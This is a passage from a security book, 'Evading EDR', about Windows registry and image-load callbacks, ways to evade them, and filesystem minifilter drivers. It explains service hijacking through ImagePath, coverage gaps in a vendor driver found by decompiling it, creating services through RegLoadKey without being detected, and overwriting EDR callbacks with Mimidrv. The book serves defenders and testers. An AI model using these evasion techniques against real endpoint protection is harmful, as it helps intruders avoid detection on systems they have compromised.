RegNtSetValueKey Link-Local Multicast Name Resolution (LLMNR) poisoning HKLM\Software\Policies\ Microsoft\Windows NT\ DNSClient RegNtQueryValueKey Security Account Manager dumping HKLM\SAM RegNt(Pre/Post) SaveKey To explore how adversaries interact with the registry, consider the technique of service hijacking. On Windows, services are a way of creating long-running processes that can be started manually or on boot, similar to daemons on Linux. While the service control manager manages these ser- vices, their configurations are stored exclusively in the registry, under the HKEY_LOCAL_MACHINE (HKLM) hive. For the most part, services run as the privileged NT AUTHORITY/SYSTEM account, which gives them pretty much full control over the system and makes them a juicy target for attackers. One of the ways that adversaries abuse services is by modifying the reg- istry values that describe the configuration of a service. Inside a service’s configuration, there exists a value, ImagePath, that contains the path to the service’s executable. If an attacker can change this value to the path for a piece of malware they’ve placed on the system, their executable will be run in this privileged context when the service is restarted (most often on sys- tem reboot). Because this attack procedure relies on registry value modification, an EDR driver that is monitoring RegNtSetValueKey-type events could detect the adversary’s activity and respond accordingly. Registering a Registry Notification To register a registry callback routine, drivers must use the nt!CmRegister CallbackEx() function defined in Listing 5-14. The Cm prefix references the configuration manager, which is the component of the kernel that oversees the registry. NTSTATUS CmRegisterCallbackEx( PEX_CALLBACK_FUNCTION Function, PCUNICODE_STRING Altitude, Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   93 PVOID Driver, PVOID Context, PLARGE_INTEGER Cookie, PVOID Reserved ); Listing 5-14: The nt!CmRegisterCallbackEx() prototype Of the callbacks covered in this book, the registry callback type has the most complex registration function, and its required parameters are slightly different from those for the other functions. First, the Function parameter is the pointer to the driver’s callback. It must be defined as an EX_CALLBACK_FUNCTION, according to Microsoft’s Code Analysis for Drivers and the Static Driver Verifier, and it returns an NTSTATUS. Next, as in object- notification callbacks, the Altitude parameter defines the callback’s posi- tion in the callback stack. The Driver is a pointer to the driver object, and Context is an optional value that can be passed to the callback function but is very rarely used. Lastly, the Cookie parameter is a LARGE_INTEGER passed to nt!CmUnRegisterCallback() when unloading the driver. When a registry event occurs, the system invokes the callback function. Registry callback functions use the prototype in Listing 5-15. NTSTATUS ExCallbackFunction( PVOID CallbackContext, PVOID Argument1, PVOID Argument2 ) Listing 5-15: The nt!ExCallbackFunction() prototype The parameters passed to the function may be difficult to make sense of at first due to their vague names. The CallbackContext parameter is the value defined in the registration function’s Context parameter, and Argument1 is a value from the REG_NOTIFY_CLASS enumeration that specifies the type of action that occurred, such as a value being read or a new key being created. While Microsoft lists 62 members of this enumeration, those with the mem- ber prefixes RegNt, RegNtPre, and RegNtPost represent the same activity gen- erating notifications at different times, so by deduplicating the list, we can identify 24 unique operations. These are shown in Table 5-2. Table 5-2: Stripped REG_NOTIFY_CLASS Members and Descriptions Registry operation Description DeleteKey A registry key is being deleted. SetValueKey A value is being set for a key. DeleteValueKey A value is being deleted from a key. SetInformationKey Metadata is being set for a key. RenameKey A key is being renamed. (continued) Evading EDR (Early Access) © 2023 by Matt Hand 94   Chapter 5 Registry operation Description EnumerateKey Subkeys of a key are being enumerated. EnumerateValueKey Values of a key are being enumerated. QueryKey A key’s metadata is being read. QueryValueKey A value in a key is being read. QueryMultipleValueKey Multiple values of a key are being queried. CreateKey A new key is being created. OpenKey A handle to a key is being opened. KeyHandleClose A handle to a key is being closed. CreateKeyEx A key is being created. OpenKeyEx A thread is trying to open a handle to an existing key. FlushKey A key is being written to disk. LoadKey A registry hive is being loaded from a file. UnLoadKey A registry hive is being unloaded. QueryKeySecurity A key’s security information is being queried. SetKeySecurity A key’s security information is being set. RestoreKey A key’s information is being restored. SaveKey A key’s information is being saved. ReplaceKey A key’s information is being replaced. QueryKeyName The full registry path of a key is being queried. The Argument2 parameter is a pointer to a structure that contains infor- mation relevant to the operation specified in Argument1. Each operation has its own associated structure. For example, RegNtPreCreateKeyEx operations use the REG_CREATE_KEY_INFORMATION structure. This information provides the rele- vant context for the registry operation that occurred on the system, allowing the EDR to extract the data it needs to make a decision on how to proceed. Every pre-operation member of the REG_NOTIFY_CLASS enumeration (those that begin with RegNtPre or simply RegNt) uses structures specific to the type of operation. For example, the RegNtPreQueryKey operation uses the REG_QUERY_KEY_INFORMATION structure. These pre-operation callbacks allow the driver to modify or prevent the request from completing before execution is handed off to the configuration manager. An example of this using the previous RegNtPreQueryKey member would be to modify the KeyInformation member of the REG_QUERY_KEY_INFORMATION structure to change the type of information returned to the caller. Post-operation callbacks always use the REG_POST_OPERATION_INFORMATION structure, with the exception of RegNtPostCreateKey and RegNtPostOpenKey, which use the REG_POST_CREATE_KEY_INFORMATION and REG_POST_OPEN_KEY_ INFORMATION structures, respectively. This post-operation structure con- sists of a few interesting members. The Object member is a pointer to the Table 5-2: Stripped REG_NOTIFY_CLASS Members and Descriptions (continued) Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   95 registry-key object for which the operation was completed. The Status member is the NTSTATUS value that the system will return to the caller. The ReturnStatus member is an NTSTATUS value that, if the callback routine returns STATUS_CALLBACK_BYPASS, will be returned to the caller. Lastly, the PreInformation member contains a pointer to the structure used for the cor- responding pre-operation callback. For example, if the operation being processed is RegNtPreQueryKey, the PreInformation member would be a pointer to a REG_QUERY_KEY_INFORMATION structure. While these callbacks don’t allow the same level of control as pre- operation callbacks do, they still give the driver some influence over the value returned to the caller. For example, the EDR could collect the return value and log that data. Mitigating Performance Challenges One of the biggest challenges that EDRs face when receiving registry notifications is performance. Because the driver can’t filter the events, it receives every registry event that occurs on the system. If one driver in the callback stack performs some operation on the data received that takes an excessive amount of time, it can cause serious system performance degrada- tion. For example, during one test, a Windows virtual machine performed nearly 20,000 registry operations per minute at an idle state, as shown in Figure 5-4. If a driver took some action for each of these events that lasted an additional millisecond, it would cause a nearly 30 percent degradation to system performance. Figure 5-4: A total of 19,833 registry events captured in one minute To reduce the risk of adverse performance impacts, EDR drivers must carefully select what they monitor. The most common way that they do this is by monitoring only certain registry keys and selectively capturing event types. Listing 5-16 demonstrates how an EDR might implement this behavior. NTSTATUS RegistryNotificationCallback( PVOID pCallbackContext, PVOID pRegNotifyClass, PVOID pInfo) Evading EDR (Early Access) © 2023 by Matt Hand 96   Chapter 5 { NTSTATUS status = STATUS_SUCCESS; 1 switch (((REG_NOTIFY_CLASS)(ULONG_PTR)pRegNotifyClass)) { case RegNtPostCreateKey: { 2 PREG_POST_OPERATION_INFORMATION pPostInfo = (PREG_POST_OPERATION_INFORMATION)pInfo; --snip-- break; } case RegNtPostSetValueKey: { --snip-- break; } default: break; } return status; } Listing 5-16: Scoping a registry callback notification routine to work with specific operations only In this example, the driver first casts the pRegNotifyClass input param- eter to a REG_NOTIFY_CLASS structure for comparison 1 using a switch case. This is to make sure it’s working with the correct structure. The driver then checks whether the class matches one that it supports (in this case, key cre- ation and the setting of a value). If it does match, the pInfo member is cast to the appropriate structure 2 so that the driver can continue to parse the event notification data. An EDR developer may want to limit its scope even further to lessen the performance hit the system will take. For instance, if a driver wants to moni- tor service creation via the registry, it would need to check for registry-key creation events in the HKLM:\SYSTEM\CurrentControlSet\Services\ path only. Evading Registry Callbacks Registry callbacks have no shortage of evasion opportunities, most of which are due to design decisions aimed at improving system performance. When drivers reduce the number of registry events they monitor, they can intro- duce blind spots in their telemetry. For example, if they’re only monitoring events in HKLM, the hive used for the configuration of items shared across the system, they won’t detect any per-user registry keys created in HKCU or HKU, the hives used to configure items specific to a single principal. And if they’re monitoring registry-key creation events only, they’ll miss registry-key restoration events. EDRs commonly use registry callbacks to help protect unauthorized processes from interacting with registry keys associated with Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   97 its agent, so it’s safe to assume that some of the allowable performance over- head is tied up in that logic. This means that there are likely coverage gaps in the sensor that attack- ers can abuse. For example, Listing 5-17 contains the disassembly of a popu- lar endpoint security product’s driver to show how it handles a number of registry operations. switch(RegNotifyClass) { case RegNtDeleteKey: pObject = *RegOperationInfo; local_a0 = pObject; 1 CmSetCallbackObjectContext(pObject, &g_RegistryCookie), NewContext, 0); default: goto LAB_18000a2c2; case RegNtDeleteValueKey: pObject = *RegOperationInfo; local_a0 = pObject; 2 NewContext = (undefined8 *)InternalGetNameFromRegistryObject(pObject); CmSetCallbackObjectContext(pObject, &g_RegistryCookie, NewContext, 0); goto LAB_18000a2c2; case RegNtPreEnumerateKey: iVar9 = *(int *)(RegOperationInfo + 2); pObject = RegOperationInfo[1]; iVar8 = 1; local_b0 = 1; local_b4 = iVar9; local_a0 = pObject; break; --snip-- Listing 5-17: Registry callback routine disassembly The driver uses a switch case to handle notifications related to dif- ferent types of registry operations. Specifically, it monitors key-deletion, value-deletion, and key-enumeration events. On a matching case, it extracts certain values based on the operation type and then processes them. In some cases, it also applies a context to the object 1 to allow for advanced processing. In others, it calls an internal function 2 using the extracted data. There are a few notable gaps in coverage here. For instance, RegNtPostSetValueKey, the operation of which the driver is notified when- ever the RegSetValue(Ex) API is called, is handled in a case much later in the switch statement. This case would detect an attempt to set a value in a registry key, such as to create a new service. If the attacker needs to create a new registry subkey and set values inside it, they’ll need to find another method that the driver doesn’t cover. Thankfully for them, the driver doesn’t process the RegNtPreLoadKey or RegNtPostLoadKey operations, which would detect a registry hive being loaded from a file as a subkey. So, the operator may be able to leverage the RegLoadKey API to create and popu- late their service registry key, effectively creating a service without being detected. Evading EDR (Early Access) © 2023 by Matt Hand 98   Chapter 5 Revisiting the post-notification call RegNtPostSetValueKey, we can see that the driver exhibits some interesting behavior common among most prod- ucts, shown in Listing 5-18. --snip-- case RegNtPostSetValueKey: 1 RegOperationStatus = RegOperationInfo->Status; 2 pObject = RegOperationInfo->Object; iVar7 = 1; local_b0 = 1; pBuffer = puVar5; p = puVar5; local_b4 = RegOperationStatus; local_a0 = pObject; } if ((RegOperationStatus < 0 || (pObject == (PVOID)0x0)) { 3 LAB_18000a252: if (pBuffer != (undefined8 *)0x0) { 4 ExFreePoolWithTag(pBuffer, 0); NewContext = (undefined8 *)0x0; } } else { if ((pBuffer != (undefined8 *)0x0 || 5 (pBuffer = (undefined8 *)InternalGetNameFromRegistryObject((longlong)pObject), NewContext = pBuffer, pBuffer != (undefined8 *)0x0) { uBufferSize = &local_98; if (local_98 == 0) { uBufferSize = (ushort *)0x0; } local_80 = (undefined8 *)FUN_1800099e0(iVar7, (ushort *)pBuffer, uBufferSize); if (local_80 != (undefined8 *)0x0) { FUN_1800a3f0(local_80, (undefined8 *)0x0); local_b8 = 1; } goto LAB_18000a252; } } Listing 5-18: Registry-notification processing logic This routine extracts the Status 1 and Object 2 members from the associated REG_POST_OPERATION_INFORMATION structure and stores them as local variables. Then it checks that these values aren’t STATUS_SUCCESS or NULL, respectively 3. If the values fail the check, the output buffer used for relay- ing messages to the user-mode client is freed 4 and the context set for the object is nulled. This behavior may seem strange at first, but it relates to the internal function renamed InternalGetNameFromRegistryObject() for clarity 5. Listing 5-19 contains the decompilation of this function. Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   99 void * InternalGetNameFromRegistryObject(longlong RegObject) { NTSTATUS status; NTSTATUS status2; POBJECT_NAME_INFORMATION pBuffer; PVOID null; PVOID pObjectName; ulong pulReturnLength; ulong ulLength; null = (PVOID)0x0; pulReturnLength = 0; 1 if (RegObject != 0) { status = ObQueryNameString(RegObject, 0, 0, &pulReturnLength); ulLength = pulReturnLength; pObjectName = null; if ((status = -0x3ffffffc) && (pBuffer = (POBJECT_NAME_INFORMATION)ExAllocatePoolWithTag( PagedPool, (ulonglong)pReturnLength, 0x6F616D6C), pBuffer != (POBJECT_NAME_INFORMATION)0x0)) { memset(pBuffer, 0, (ulonglong)ulLength); 2 status2 = ObQueryNameString(RegObject, pBuffer, ulLength, &pulReturnLength); pObjectName = pBuffer; if (status2 < 0) { ExFreePoolWithTag(pBuffer, 0); pObjectName = null; } } return pObjectName; } return (void *)0x0; } Listing 5-19: The InternalGetNameFromRegistryObject() disassembly This internal function takes a pointer to a registry object, which is passed in as the local variable holding the Object member of the REG_POST _OPERATION_INFORMATION structure, and extracts the name of the registry key being acted on using nt!ObQueryNameString() 2. The problem with this flow is that if the operation was unsuccessful (as in the Status member of the post- operation information structure isn’t STATUS_SUCCESS), the registry object pointer is invalidated and the call to the object-name-resolution function won’t be able to extract the name of the registry key. This driver contains conditional logic to check for this condition 1. N O T E This specific function isn’t the only API affected by this problem. We often see similar logic implemented for other functions that extract key-name information from registry objects, such as nt!CmCallbackGetKeyObjectIDEx(). Operationally, this means that an unsuccessful attempt to interact with the registry won’t generate an event, or at least one with all the relevant details, from which a detection can be created, all because the name of the Evading EDR (Early Access) © 2023 by Matt Hand 100   Chapter 5 registry key is missing. Without the name of the object, the event would effectively read “this user attempted to perform this registry action at this time and it was unsuccessful”: not very actionable for defenders. But for attackers, this detail is important because it can change the risk calculus involved in performing certain activities. If an action targeting the registry were to fail (such as an attempt to read a key that doesn’t exist or to create a new service with a mistyped registry path), it would likely go unno- ticed. By checking for this logic when a driver is handling post-operation registry notifications, attackers can determine which unsuccessful actions would evade detection. Evading EDR Drivers with Callback Entry Overwrites In this chapter as well as Chapters 3 and 4, we covered many kinds of call- back notifications and discussed various evasions geared at bypassing them. Due to the complexity of EDR drivers and their different vendor imple- mentations, it isn’t possible to entirely evade detection using these means. Rather, by focusing on evading specific components of the driver, operators can reduce the likelihood of triggering an alert. However, if an attacker either gains administrator access on the host, has the SeLoadDriverPrivilege token privilege, or encounters a vulnerable driver that allows them to write to arbitrary memory, they may choose to target the EDR’s driver directly. This process most commonly involves finding the internal list of callback routines registered on the system, such as nt!PspCallProcessNotifyRoutines in the context of process notifications or nt!PsCallImageNotifyRoutines for image- load notifications. Researchers have publicly demonstrated this technique in many ways. Listing 5-20 shows the output of Benjamin Delpy’s Mimidrv. mimikatz # version Windows NT 10.0 build 19042 (arch x64) msvc 150030729 207 mimikatz # !+ [*] 'mimidrv' service not present [*] 'mimidrv' service successfully registered [*] 'mimidrv' service ACL to everyone [*] 'mimidrv' service started mimikatz # !notifProcess [00] 0xFFFFF80614B1C7A0 [ntoskrnl.exe + 0x31c7a0] [00] 0xFFFFF806169F6C70 [cng.sys + 0x6c70] [00] 0xFFFFF80611CB4550 [WdFilter.sys + 0x44550] [00] 0xFFFFF8061683B9A0 [ksecdd.sys + 0x1b9a0] [00] 0xFFFFF80617C245E0 [tcpip.sys + 0x45e0] [00] 0xFFFFF806182CD930 [iorate.sys + 0xd930] [00] 0xFFFFF806183AE050 [appid.sys + 0x1e050] [00] 0xFFFFF80616979C30 [CI.dll + 0x79c30] [00] 0xFFFFF80618ABD140 [dxgkrnl.sys + 0xd140] Evading EDR (Early Access) © 2023 by Matt Hand Image-Load and Registry Notifications   101 [00] 0xFFFFF80619048D50 [vm3dmp.sys + 0x8d50] [00] 0xFFFFF80611843CE0 [peauth.sys + 0x43ce0] Listing 5-20: Using Mimidrv to enumerate process-notification callback routines Mimidrv searches for a byte pattern that indicates the start of the array holding the registered callback routines. It uses Windows build–specific offsets from functions inside ntoskrnl.exe. After locating the list of callback routines, Mimidrv determines the driver from which the callback originates by correlating the address of the callback function to the address space in use by the driver. Once it has located the callback routine in the target driver, the attacker can choose to overwrite the first byte at the entry point of the function with a RETN instruction (0xC3). This would cause the function to immediately return when execution is passed to the callback, preventing the EDR from collecting any telemetry related to the notification event or taking any preventive action. While this technique is operationally viable, deploying it comes with significant technical hurdles. First, unsigned drivers can’t be loaded onto Windows 10 or later unless the host is put into test mode. Next, the technique relies on build-specific offsets, which introduces complexity and unreliability to the tooling, as newer versions of Windows could change these patterns. Lastly, Microsoft has heavily invested in making Hypervisor-Protected Code Integrity (HVCI) a default protection on Windows 10 and has enabled it by default on secured-core systems. HVCI reduces the ability to load malicious or known-vulnerable drivers by protecting the code-integrity decision-making logic, including ci!g_CiOptions, which is commonly temporarily overwritten to allow an unsigned driver to be loaded. This drives up the complexity of over- writing a callback’s entry point, as only HVCI-compatible drivers could be loaded on the system, reducing the potential attack surface. Conclusion While not as straightforward as the previously discussed callback types, image-load and registry-notification callbacks provide just as much informa- tion to an EDR. Image-load notifications can tell us when images, whether they be DLLs, executables, or drivers, are being loaded, and they give the EDR a chance to log, act, or even signal to inject its function-hooking DLL. Registry notifications provide an unparalleled level of visibility into actions affecting the registry. To date, the strongest evasion strategies an adversary can employ when facing these sensors is either to abuse a gap in coverage or logical flaw in the sensor itself or to avoid it entirely, such as by proxying in their tooling. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand While the drivers covered in previous chap- ters can monitor many important events on the system, they aren’t able to detect a par- ticularly critical kind of activity: filesystem opera- tions. Using filesystem minifilter drivers, or minifilters for short, endpoint security products can learn about the files being created, modified, written to, and deleted. These drivers are useful because they can observe an attacker’s interac- tions with the filesystem, such as the dropping of malware to disk. Often, they work in conjunction with other components of the system. By integrat- ing with the agent’s scanning engine, for example, they can enable the EDR to scan files. Minifilters might, of course, monitor the native Windows filesystem, which is called the New Technology File System (NTFS) and is imple- mented in ntfs.sys. However, they might also monitor other important filesystems, including named pipes, a bidirectional inter-process communi- cation mechanism implemented in npfs.sys, and mailslots, a unidirectional 6 F IL E S Y S T E M M IN IF ILT E R DR I V E R S Evading EDR (Early Access) © 2023 by Matt Hand 104   Chapter 6 inter-process communication mechanism implemented in msfs.sys. Adversary tools, particularly command-and-control agents, tend to make heavy use of these mechanisms, so tracking their activities provides crucial telemetry. For example, Cobalt Strike’s Beacon uses named pipes for task- ing and the linking of peer-to-peer agents. Minifilters are similar in design to the drivers discussed in the previous chapters, but this chapter covers some unique details about their implemen- tations, capabilities, and operations on Windows. We’ll also discuss evasion techniques that attackers can leverage to interfere with them. Legacy Filters and the Filter Manager Before Microsoft introduced minifilters, EDR developers would write legacy filter drivers to monitor filesystem operations. These drivers would sit on the filesystem stack, directly inline of user-mode calls destined for the file- system, as shown in Figure 6-1. I/O manager User request to interact with a file Legacy filter driver A Legacy filter driver B User mode Kernel mode Filesystem driver (for example, ntfs.sys) Figure 6-1: The legacy filter driver architecture These drivers were notoriously difficult to develop and support in production environments. A 2019 article published in The NT Insider, titled “Understanding Minifilters: Why and How File System Filter Drivers Evolved,” highlights seven large problems that developers face when writing legacy filter drivers: Confusing Filter Layering In cases when there is more than one legacy filter installed on the system, the architecture defines no order for how these drivers should be placed on the filesystem stack. This prevents the driver developer from knowing when the system will load their driver in relation to the others. A Lack of Dynamic Loading and Unloading Legacy filter drivers can’t be inserted into a specific location on the device stack and can only be loaded at the top of the stack. Additionally, legacy filters can’t be unloaded easily and typically require a full system reboot to unload. Tricky Filesystem-Stack Attachment and Detachment The mechanics of how the filesystem stack attaches and detaches devices are extremely complicated, and developers must have a Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   105 substantial amount of arcane knowledge to ensure that their driver can appropriately handle odd edge cases. Indiscriminate IRP Processing Legacy filter drivers are responsible for processing all Interrupt Request Packets (IRPs) sent to the device stack, regardless of whether they are interested in the IRPs or not. Challenges with Fast I/O Data Operations Windows supports a mechanism for working with cached files, called Fast I/O, that provides an alternative to its standard packet-based I/O model. It relies on a dispatch table implemented in the legacy drivers. Each driver processes Fast I/O requests and passes them down the stack to the next driver. If a single driver in the stack lacks a dispatch table, it disables Fast I/O processing for the entire device stack. An Inability to Monitor Non-data Fast I/O Operations In Windows, filesystems are deeply integrated into other system compo- nents, such as the memory manager. For instance, when a user requests that a file be mapped into memory, the memory manager calls the Fast I/O callback AcquireFileForNtCreateSection. These non-data requests always bypass the device stack, making it hard for a legacy filter driver to collect information about them. It wasn’t until Windows XP, which introduced nt!FsRtlRegisterFileSystemFilterCallbacks(), that developers could request this information. Issues with Handling Recursion Filesystems make heavy use of recursion, so filters in the filesystem stack must support it as well. However, due to the way that Windows manages I/O operations, this is easier said than done. Because each request passes through the entire device stack, a driver could easily deadlock or exhaust its resources if it handles recursion poorly. To address some of these limitations, Microsoft introduced the filter manager model. The filter manager (fltmgr.sys) is a driver that ships with Windows and exposes functionality commonly used by filter drivers when intercepting filesystem operations. To leverage this functional- ity, developers can write minifilters. The filter manager then intercepts requests destined for the filesystem and passes them to the minifilters loaded on the system, which exist in their own sorted stack, as shown in Figure 6-2. Minifilters are substantially easier to develop than their legacy coun- terparts, and EDRs can manage them more easily by dynamically loading and unloading them on a running system. The ability to access function- ality exposed by the filter manager makes for less complex drivers, allow- ing for easier maintenance. Microsoft has made tremendous efforts to Evading EDR (Early Access) © 2023 by Matt Hand 106   Chapter 6 move developers away from the legacy filter model and over to the mini- filter model. It has even included an optional registry value that allows administrators to block legacy filter drivers from being loaded on the sys- tem altogether. Minifilter Architecture Minifilters have a unique architecture in several respects. First is the role of the filter manager itself. In a legacy architecture, filesystem drivers would filter I/O requests directly, while in a minifilter architecture, the filter manager handles this task before passing information about the requests to the minifilters loaded on the system. This means that minifilters are only indirectly attached to the filesystem stack. Also, they register with the filter manager for the specific operations they’re interested in, removing the need for them to handle all I/O requests. Next is how they interact with registered callback routines. As with the drivers discussed in the previous chapters, minifilters may register both pre- and post-operation callbacks. When a supported operation occurs, the filter manager first calls the correlated pre-operation callback function in each of the loaded minifilters. Once a minifilter completes its pre-operation routine, it passes control back to the filter manager, which calls the next callback function in the subsequent driver. When all drivers have completed their pre-operation callbacks, the request travels to the filesystem driver, which processes the operation. After receiving the I/O request for completion, the filter manager invokes the post-operation callback functions in the mini- filters in reverse order. Once the post-operation callbacks complete, control is transferred back to the I/O manager, which eventually passes control back to the caller application. Each minifilter has an altitude, which is a number that identifies its loca- tion in the minifilter stack and determines when the system will load that minifilter. Altitudes address the issue of ordering that plagued legacy filter drivers. Ideally, Microsoft assigns altitudes to the minifilters of production applications, and these values are specified in the drivers’ registry keys, under Altitude. Microsoft sorts altitudes into load-order groups, which are shown in Table 6-1. I/O manager User request to interact with a file Filter manager Filesystem driver (for example, ntfs.sys) User mode Kernel mode Minifilter C altitude: 145000 Minifilter B altitude: 268000 Minifilter B altitude: 309000 Figure 6-2: The filter manager and minifilter architecture Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   107 Table 6-1: Microsoft’s Minifilter Load-Order Groups Altitude range Load-order group name Minifilter role 420000–429999 Filter Legacy filter drivers 400000–409999 FSFilter Top Filters that must attach above all others 360000–389999 FSFilter Activity Monitor Drivers that observe and report on file I/O 340000–349999 FSFilter Undelete Drivers that recover deleted files 320000–329998 FSFilter Anti-Virus Antimalware drivers 300000–309998 FSFilter Replication Drivers that copy data to a remote system 280000–289998 FSFilter Continuous Backup Drivers that copy data to backup media 260000–269998 FSFilter Content Screener Drivers that prevent the creation of specific files or content 240000–249999 FSFilter Quota Management Drivers that provide enhanced filesystem quotas that limit the space allowed for a volume or folder 220000–229999 FSFilter System Recovery Drivers that maintain operating system integrity 200000–209999 FSFilter Cluster File System Drivers used by applications that provide file server metadata across a network 180000–189999 FSFilter HSM Hierarchical storage management drivers 170000–174999 FSFilter Imaging ZIP-like drivers that provide a virtual namespace 160000–169999 FSFilter Compression File-data compression drivers 140000–149999 FSFilter Encryption File-data encryption and decryption drivers 130000–139999 FSFilter Virtualization Filepath virtualization drivers 120000–129999 FSFilter Physical Quota Management Drivers that manage quotes by using physical block counts 100000–109999 FSFilter Open File Drivers that provide snapshots of already-opened files 80000–89999 FSFilter Security Enhancer Drivers that apply file-based lockdowns and enhanced access control 60000–69999 FSFilter Copy Protection Drivers that check for out-of-band data on storage media 40000–49999 FSFilter Bottom Filters that must attach below all others 20000–29999 FSFilter System Reserved <20000 FSFilter Infrastructure Reserved for system use but attaches closest to the filesystem Most EDR vendors register their minifilters in the FSFilter Anti-Virus or FSFilter Activity Monitor group. Microsoft publishes a list of registered altitudes, as well as their associated filenames and publishers. Table 6-2 Evading EDR (Early Access) © 2023 by Matt Hand 108   Chapter 6 lists altitudes assigned to minifilters belonging to popular commercial EDR solutions. Table 6-2: Altitudes of Popular EDRs Altitude Vendor EDR 389220 Sophos sophosed.sys 389040 SentinelOne sentinelmonitor.sys 328010 Microsoft wdfilter.sys 321410 CrowdStrike csagent.sys 388360 FireEye/Trellix fekern.sys 386720 Bit9/Carbon Black/VMWare carbonblackk.sys While an administrator can change a minifilter’s altitude, the system can load only one minifilter at a single altitude at one time. Writing a Minifilter Let’s walk through the process of writing a minifilter. Each minifilter begins with a DriverEntry() function, defined in the same way as other driv- ers. This function performs any required global initializations and then registers the minifilter. Finally, it starts filtering I/O operations and returns an appropriate value. Beginning the Registration The first, and most important, of these actions is registration, which the DriverEntry() function performs by calling fltmgr!FltRegisterFilter(). This function adds the minifilter to the list of registered minifilter drivers on the host and provides the filter manager with information about the minifilter, including a list of callback routines. This function is defined in Listing 6-1. NTSTATUS FLTAPI FltRegisterFilter( [in] PDRIVER_OBJECT Driver, [in] const FLT_REGISTRATION *Registration, [out] PFLT_FILTER *RetFilter ); Listing 6-1: The fltmgr!FltRegisterFilter() function definition Of the three parameters passed to it, the Registration parameter is the most interesting. This is a pointer to an FLT_REGISTRATION structure, defined in Listing 6-2, which houses all the relevant information about the minifilter. typedef struct _FLT_REGISTRATION { USHORT Size; USHORT Version; Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   109 FLT_REGISTRATION_FLAGS Flags; const FLT_CONTEXT_REGISTRATION *ContextRegistration; const FLT_OPERATION_REGISTRATION *OperationRegistration; PFLT_FILTER_UNLOAD_CALLBACK FilterUnloadCallback; PFLT_INSTANCE_SETUP_CALLBACK InstanceSetupCallback; PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK InstanceQueryTeardownCallback; PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownStartCallback; PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownCompleteCallback; PFLT_GENERATE_FILE_NAME GenerateFileNameCallback; PFLT_NORMALIZE_NAME_COMPONENT NormalizeNameComponentCallback; PFLT_NORMALIZE_CONTEXT_CLEANUP NormalizeContextCleanupCallback; PFLT_TRANSACTION_NOTIFICATION_CALLBACK TransactionNotificationCallback; PFLT_NORMALIZE_NAME_COMPONENT_EX NormalizeNameComponentExCallback; PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback; } FLT_REGISTRATION, *PFLT_REGISTRATION; Listing 6-2: The FLT_REGISTRATION structure definition The first two members of this structure set the structure size, which is always sizeof(FLT_REGISTRATION), and the structure revision level, which is always FLT_REGISTRATION_VERSION. The next member is flags, which is a bitmask that may be null or a combination of any of the following three values: FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP (1) The minifilter won’t be unloaded in the event of a service stop request. FLTFL_REGISTRATION_SUPPORT_NPFS_MSFS (2) The minifilter supports named pipe and mailslot requests. FLTFL_REGISTRATION_SUPPORT_DAX_VOLUME (4) The minifilter supports attaching to a Direct Access (DAX) volume. Following this member is the context registration. This will be either an array of FLT_CONTEXT_REGISTRATION structures or null. These contexts allow a minifilter to associate related objects and preserve state across I/O operations. After this array of context comes the critically important operation registration array. This is a variable length array of FLT_OPERATION _REGISTRATION structures, which are defined in Listing 6-3. While this array can technically be null, it’s rare to see that configuration in an EDR sensor. The minifilter must provide a structure for each type of I/O for which it registers a pre-operation or post-operation callback routine. typedef struct _FLT_OPERATION_REGISTRATION { UCHAR MajorFunction; FLT_OPERATION_REGISTRATION_FLAGS Flags; PFLT_PRE_OPERATION_CALLBACK PreOperation; PFLT_POST_OPERATION_CALLBACK PostOperation; PVOID Reserved1; } FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION; Listing 6-3: The FLT_OPERATION_REGISTRATION structure definition Evading EDR (Early Access) © 2023 by Matt Hand 110   Chapter 6 The first parameter indicates which major function the minifilter is interested in processing. These are constants defined in wdm.h, and Table 6-3 lists some of those most relevant to security monitoring. Table 6-3: Major Functions and Their Purposes Major function Purpose IRP_MJ_CREATE (0x00) A new file is being created or a handle to an existing one is being opened. IRP_MJ_CREATE_NAMED_PIPE (0x01) A named pipe is being created or opened. IRP_MJ_CLOSE (0x02) A handle to a file object is being closed. IRP_MJ_READ (0x03) Data is being read from a file. IRP_MJ_WRITE (0x04) Data is being written to a file. IRP_MJ_QUERY_INFORMATION (0x05) Information about a file, such as its creation time, has been requested. IRP_MJ_SET_INFORMATION (0x06) Information about a file, such as its name, is being set or updated. IRP_MJ_QUERY_EA (0x07) A file’s extended information has been requested. IRP_MJ_SET_EA (0x08) A file’s extended information is being set or updated. IRP_MJ_LOCK_CONTROL (0x11) A lock is being placed on a file, such as via a call to kernel32!LockFileEx(). IRP_MJ_CREATE_MAILSLOT (0x13) A new mailslot is being created or opened. IRP_MJ_QUERY_SECURITY (0x14) Security information about a file is being requested. IRP_MJ_SET_SECURITY (0x15) Security information related to a file is being set or updated. IRP_MJ_SYSTEM_CONTROL (0x17) A new driver has been registered as a supplier of Windows Management Instrumentation. The next member of the structure specifies the flags. This bitmask describes when the callback functions should be invoked for cached I/O or paging I/O operations. At the time of this writing, there are four supported flags, all of which are prefixed with FLTFL_OPERATION_REGISTRATION_. First, SKIP_PAGING_IO indicates whether a callback should be invoked for IRP-based read or write paging I/O operations. The SKIP_CACHED_IO flag is used to pre- vent the invocation of callbacks on fast I/O-based read or write cached I/O operations. Next, SKIP_NON_DASD_IO is used for requests issued on a Direct Access Storage Device (DASD) volume handle. Finally, SKIP_NON_CACHED_NON _PAGING_IO prevents callback invocation on read or write I/O operations that are not cached or paging operations. Defining Pre-operation Callbacks The next two members of the FLT_OPERATION_REGISTRATION structure define the pre-operation or post-operation callbacks to be invoked when each of the target major functions occurs on the system. Pre-operation Evading EDR (Early Access) © 2023 by Matt Hand Filesystem Minifilter Drivers   111 callbacks are passed via a pointer to an FLT_PRE_OPERATION_CALLBACK struc- ture, and post-operation routines are specified as a pointer to an 